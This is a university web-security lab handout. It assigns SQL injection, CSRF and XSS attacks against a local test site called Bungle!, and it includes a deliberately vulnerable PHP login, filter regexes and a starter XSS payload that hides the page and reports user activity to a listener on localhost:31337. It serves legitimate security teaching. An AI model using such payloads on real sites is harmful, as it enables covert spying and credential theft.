# **Bungle: Web Security Lab**

September 8, 2023

Bungle: Web Security Lab

This is an **individual project**. You may **not** work in groups.

The code and other answers you submit must be entirely your work. You may consult with other students about the conceptualization of the project and the meaning of the questions, but you may not look at any part of someone else's solution or collaborate with anyone outside the class. You may consult published references, provided that you appropriately cite them (e.g., with program comments), as you would in an academic paper.

Solutions must be submitted electronically via gradescope. Part 1 is due at 11:59pm on **Sept 22 2023** and Parts 2 and 3 are due at 11:59pm on **Sept 29 2023**. Your submission MUST include the following information:

- 1. List of people you discussed the project with
- 2. List of references used (online material, course nodes, textbooks, wikipedia, etc.)
- 3. There are 2 late days tolerance for each part of the assignment.

If any of this information is missing, at least 20% of the points for the assignment will automatically be deducted from your assignment. See also discussion on plagiarism and the collaboration policy on the course syllabus.

This lab will be administrated by Jinquan Pan.

# Introduction

In this project, we provide an insecure website, and your job is to attack it by exploiting three common classes of vulnerabilities: cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. You are also asked to exploit these problems with various flawed defenses in place. Understanding how these attacks work will help you better defend your own web applications.

# **Objectives**

- Learn to spot common vulnerabilities in websites and to avoid them in your own projects.
- Understand the risks these problems pose and the weaknesses of naive defenses.
- Gain experience with web architecture and with HTML, JavaScript, and SQL programming.

## **Read this First**

This project asks you to develop attacks and test them, with our permission, against a target website that we are providing for this purpose. Attempting the same kinds of attacks against other websites without authorization is prohibited by law and university policies and may result in *fines*, *expulsion*, and jail time. You must not attack any website without authorization! Per the course ethics policy, you are required to respect the privacy and property rights of others at all times, *or else you will fail the course*. See the "Ethics, Law, and University Policies" section on the course website.

# **Target Website**

A startup named Bungle! is about to launch its first product—a web search engine—but their investors are nervous about security problems. Unlike the Bunglers who developed the site, you took CS357, so the investors have hired you to perform a security evaluation before it goes live.

**Bungle!** is available for you to use and run in a docker container. Please come to office hours if you need help installing or running the container.

Registery: https://hub.docker.com/r/vin3nt/bungle

### You can see this tutorial to set up Docker and Bungle: How to Download and Run Bungle

The site is written in Python using the Bottle web framework. Although Bottle has built-in mechanisms that help guard against some common vulnerabilities, the Bunglers have circumvented or ignored these mechanisms in several places.

In addition to providing search results, the site accepts logins and tracks users' search histories. It stores usernames, passwords, and search history in a MySQL database.

Before being granted access to the source code, you reverse engineered the site and determined that it replies to five main URLs: /, /search, /login, /logout, and /create. The function of these URLs is explained below, but if you want an additional challenge, you can skip the rest of this section and do the reverse engineering yourself.

- **Main page** (/) The main page accepts GET requests and displays a search form. When submitted, this form issues a GET request to /search, sending the search string as the parameter "q".
  - If no user is logged in, the main page also displays a form that gives the user the option of logging in or creating an account. The form issues POST requests to /login and /create.
- **Search results** (/search) The search results page accepts GET requests and prints the search string, supplied in the "q" query parameter, along with the search results. If the user is logged in, the page also displays the user's recent search history in a sidebar.

Note: Since actual search is not relevant to this project, you might not receive any results.

- **Login handler** (/login) The login handler accepts POST requests and takes plaintext "username" and "password" query parameters. It checks the user database to see if a user with those credentials exists. If so, it sets a login cookie and redirects the browser to the main page. The cookie tracks which user is logged in; manipulating or forging it is **not** part of this project.
- **Logout handler** (/logout) The logout handler accepts POST requests. It deletes the login cookie, if set, and redirects the browser to the main page.
- **Create account handler** (/create) The create account handler accepts POST requests and receives plaintext "username" and "password" query parameters. It inserts the username and password into the database of users, unless a user with that username already exists. It then logs the user in and redirects the browser to the main page.

Note: The password is neither sent nor stored securely; however, none of the attacks you implement should depend on this behavior. You should choose a password that other groups will not guess, but never use an important password to test an insecure site!

## **General Guidelines**

We strongly recommend that you do not try to develop this project targeting a browser other than FireFox, Safari, or Internet Explorer (not Microsoft Edge). Cross-browser compatibility is one of the major headaches of web development, and recent versions of Chrome include different client-side defenses against XSS and CSRF that will interfere with your testing.

For your convenience during manual testing, we have included drop-down menus at the top of each page that let you change the CSRF and XSS defenses that are in use. The solutions you submit must override these selections by including the csrfdefense=n or xssdefense=n parameter in the target URL, as specified in each task below. You may not attempt to subvert the mechanism for changing the level of defense in your attacks.

In all parts, you should implement the simplest attack you can think of that defeats the given set of defenses. In other words, do not simply attack the highest level of defense and submit that attack as your solution for all defenses. Also, you do not need to try to combine the vulnerabilities, except where explicitly stated below.

The extra credit questions are indended to make you think hard. At least one has a clever but fairly straightforward solution, and at least one would require finding a 0-day vuln, as far as we know.

# Resources

The Chrome Web Developer tools will be a tremendous help for this project, particular the JavaScript console and debugger, DOM inspector, and network monitor.

Your solutions will involve manipulating SQL statements and writing web code using HTML, JavaScript, and the jQuery library. Feel free to search the web for answers to basic how-to questions. There are many fine online resources for learning these tools. Here are a few that we recommend:

SQL Tutorial http://www.w3schools.com/sql/

SQL Statement Syntax http://dev.mysql.com/doc/refman/5.5/en/sql-syntax.html

Introduction to HTML https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction

HTTP Made Really Easy http://www.jmarshall.com/easy/http/
JavaScript 101 http://learn.jquery.com/javascript-101/
Using jQuery Core http://learn.jquery.com/using-jquery-core/

jQuery API Reference http://api.jquery.com

To learn more about SQL Injection, XSS, and CSRF attacks, and for tips on exploiting them, see:

https://www.owasp.org/index.php/SQL\_Injection\_Prevention\_Cheat\_Sheet http://ha.ckers.org/sqlinjection/

https://www.owasp.org/index.php/Cross-Site\_Request\_Forgery\_(CSRF)\_Prevention\_Cheat\_Sheet https://www.owasp.org/index.php/XSS\_(Cross\_Site\_Scripting)\_Prevention\_Cheat\_Sheet https://www.owasp.org/index.php/XSS\_Filter\_Evasion\_Cheat\_Sheet

# Part 1. SQL Injection

Your first goal is to demonstrate SQL injection attacks that log you in as an arbitrary user without knowing the password. In order to protect other students' accounts, we've made a series of separate login forms for you to attack that aren't part of the main Bungle! site. For each of the following defenses, provide inputs to the target login form that successfully log you in as the user "victim":

#### 1.0 No defenses

```
Target: http://localhost/project2/sqlinject0/
Submission: sql_0.txt
```

### 1.1 Simple escaping

The server escapes single quotes (') in the inputs by replacing them with two single quotes.

```
Target: http://localhost/project2/sqlinject1
Submission: sql_1.txt
```

### 1.2 Escaping and hashing [Extra credit]

The server uses the following PHP code, which escapes the username and applies the MD5 hash function to the password.

```
if (isset($_POST['username']) and isset($_POST['password'])) {
    $username = mysql_real_escape_string($_POST['username']);
    $password = md5($_POST['password'], true);
    $sql_s = "SELECT * FROM users WHERE username='$username' and pw='$password'";
    $rs = mysql_query($sql_s);
    if (mysql_num_rows($rs) > 0) {
        echo "Login successful!";
    } else {
        echo "Incorrect username or password";
    }
}
```

You will need to write a program to produce a working exploit. You can use any language you like.

```
Target: http://localhost/project2/sqlinject2/
Submissions: sql_2.txt and sql_2.{preferred language}
```

**What we are expecting** You can find what we are expecting for the first deliverable here.

What to submit When you successfully log in as victim, the server will provide a URL-encoded version of your form inputs. Submit a text file with the specified filename containing only this line. Submit the source code for the program you wrote to solve 1.2.

# Part 2. Cross-site Request Forgery (CSRF)

Your next task is to demonstrate CSRF vulnerabilities against the login form, and Bungle! has provided two variations of their implementation for you to test. Your goal is to construct attacks that surreptitiously cause the victim to log in to an account you control, thus allowing you to monitor the victim's search queries by viewing the search history for this account. For each of the defenses below, create an HTML file that, when opened by a victim, logs their browser into Bungle! under the account "hacker" and password "badguy3". NOTE: You will have to create these account manually.

Your solutions should not display evidence of an attack; the browser should just display a blank page. (If the victim later visits Bungle, it will say "logged in as hacker", but that's fine for purposes of the project. After all, most users won't immediately notice.)

#### 2.0 No defenses

Target: http://localhost/project2/login?csrfdefense=0&xssdefense=4

Submission: csrf\_0.html

#### 2.1 Token validation

The server sets a cookie named csrf\_token to a random 16-byte value and also include this value as a hidden field in the login form. When the form is submitted, the server verifies that the client's cookie matches the value in the form. You are allowed to exploit the XSS vulnerability from Part 3 to accomplish your goal.

Target: http://localhost/project2/login?csrfdefense=1&xssdefense=0

Submission: csrf\_1.html

### 2.2 Token validation, without XSS [Extra credit]

Accomplish the same task as in 2.1 without using XSS.

Target: /login?csrfdefense=1&xssdefense=4

Submission: csrf\_2.html

What to submit For each part, submit an HTML file with the given name that accomplishes the specified attack against the specified target URL. The HTML files you submit must be self-contained, but they may embed CSS and JavaScript. Your files may also load jQuery from the URL http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js. Make sure you test your solutions by opening them as local files in either FireFox, Internet Explorer, or Safari (preferably Firefox or Safari).

Note: Since you're sharing the hacker account with other students, we've harded coded it so the search history won't actually update. You can test with a different account you create to see the history change.

# Part 3. Cross-site Scripting (XSS)

Your final goal is to demonstrate XSS attacks against the Bungle! search box, which does not properly filter search terms before echoing them to the results page. For each of the defenses below, your goal is to construct a URL that, if loaded in the victim's browser, correctly executes the payload specified below. We recommend that you begin by testing with a simple payload (e.g., alert(0);), then move on to the full payload. Note that you should be able to implement the payload once, then use different means of encoding it to bypass the different defenses.

## **Payload**

The payload (the code that the attack tries to execute) will be an extended form of spying and password theft. After the victim visits the URL you create, all functions of the Bungle! site should be under control of your code and should report what the user is doing to a server you control, until the user leaves the site. Your payload needs to accomplish these goals:

#### **Stealth:**

- Display all pages correctly, with no significant evidence of attack. (Minor text formatting glitches are acceptable.)
- Display normal URLs in the browser's location bar, with no evidence of attack. (Hint: Learn about the HTML5 History API.)
- Hide evidence of attack in the Bungle! search history view, as long as your code is running.

**Spying:** Please see this google doc: Part 2 and 3 FAQ to see what we are expecting when it comes to using "netcat" and spying. We just want you to report back to the netcat server the request.

### **Defenses**

There are five levels of defense. In each case, you should submit the simplest attack you can find that works against that defense; you should not simply attack the highest level and submit your solution for that level for every level. Try to use a different technique for each defense. The Python code that implements each defense is shown below, along with the target URL and the filename you should submit.

The "netcat" command is only needed for 3.1 onwords, NOT 3.0

#### 3.0 No defenses

Start with a basic attack, where the payload simply produces an alert box that contains the cookie described in section 2.1 above.

Target: http://localhost/project2/search?xssdefense=0

Submission: xss\_0.html No Spying is needed for 3.0

See "Massive Hint" below for an example.

### 3.1 Remove "ript"

```
filtered = re.sub(r"(?i)ript", "", input)
```

Target: http://localhost/project2/search?xssdefense=1

Submission: xss\_1.html

### 3.2 Remove several tags

Target: http://localhost/project2/search?xssdefense=2

Submission: xss\_2.html

### **3.3 Remove some punctuation** [Extra credit]

```
filtered = re.sub(r"[;'\"]", "", input)
```

Target: http://localhost/project2/search?xssdefense=3

Submission: xss\_3.html

What to submit Your submission for each level of defense will be a text file with the specified filename that contains a single line consisting of a URL. When this URL is loaded in a victim's browser, it should execute the specified payload against the specified target. The payload encoded in your URLs must be self-contained, but they may embed CSS and JavaScript. Your payload may also load jQuery from the URL http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js. Make sure you test your solutions in FireFox, Internet Explorer, or Safari (preferably FireFox).

## **Massive Hint**

```
<!-- Derived from jhalderm's solution to Part 3. -->
<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
// Extend this function:
function payload(hacker) {
    function log(data) {
        console.log($.param(data))
        $.get(hacker, data);
    function proxy(href) {
        $("html").load(href, function(){
            $("html").show();
            log({event: "nav", uri: href});
            $("#query").val("pwned!");
        });
    }
    $("html").hide();
    proxy("./");
}
function makeLink(xssdefense, target, hacker) {
    if (xssdefense == 0) {
        return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
            encodeURIComponent("<script" + ">" + payload.toString() +
                                ";payload(\"" + hacker + "\");</script" + ">");
    } else {
        // Implement code to defeat XSS defenses here.
    }
}
var xssdefense = 0;
var target = "http://localhost/project2/";
var hacker = "http://localhost:31337/";
$(function() {
    var url = makeLink(xssdefense, target, hacker);
    $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});
</script>
<h3></h3>
```

## **Submission Checklist**

When applicable, your solutions may contain embedded JavaScript or CSS, and they may load jQuery from the URL http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js, but they must be otherwise self-contained. Please make sure you test your solutions.

## **Part 1: SQL Injection**

Text files that contain URL-encoded version of your form fields for the specified SQL injection attacks. These strings will be provided to you by the server when your exploit works. If you complete the extra credit, also submit a the source code you wrote to produce the solution to part 1.2.

#### Part 2: CSRF

HTML files that, when loaded in a browser, immediately carry out the specified CSRF attack against the specified target.

```
csrf_0.html 2.0 No defenses
csrf_1.html 2.1 Token validation
csrf_2.html* 2.2 Token validation, without XSS [Extra credit]
```

### Part 3: XSS

Text files, each containing a URL that, when loaded in a browser, immediately carries out the specified XSS attack against the specified target. Also submit an HTML file containing the human readable code you used to generate the URL for part 3.0.

```
xss_0.html 3.0 No defenses
xss_1.html 3.1 Remove "script"
xss_2.html 3.2 Remove several tags
xss_3.html* 3.3 Remove some punctuation
```

<sup>\*</sup> These files are optional extra credit.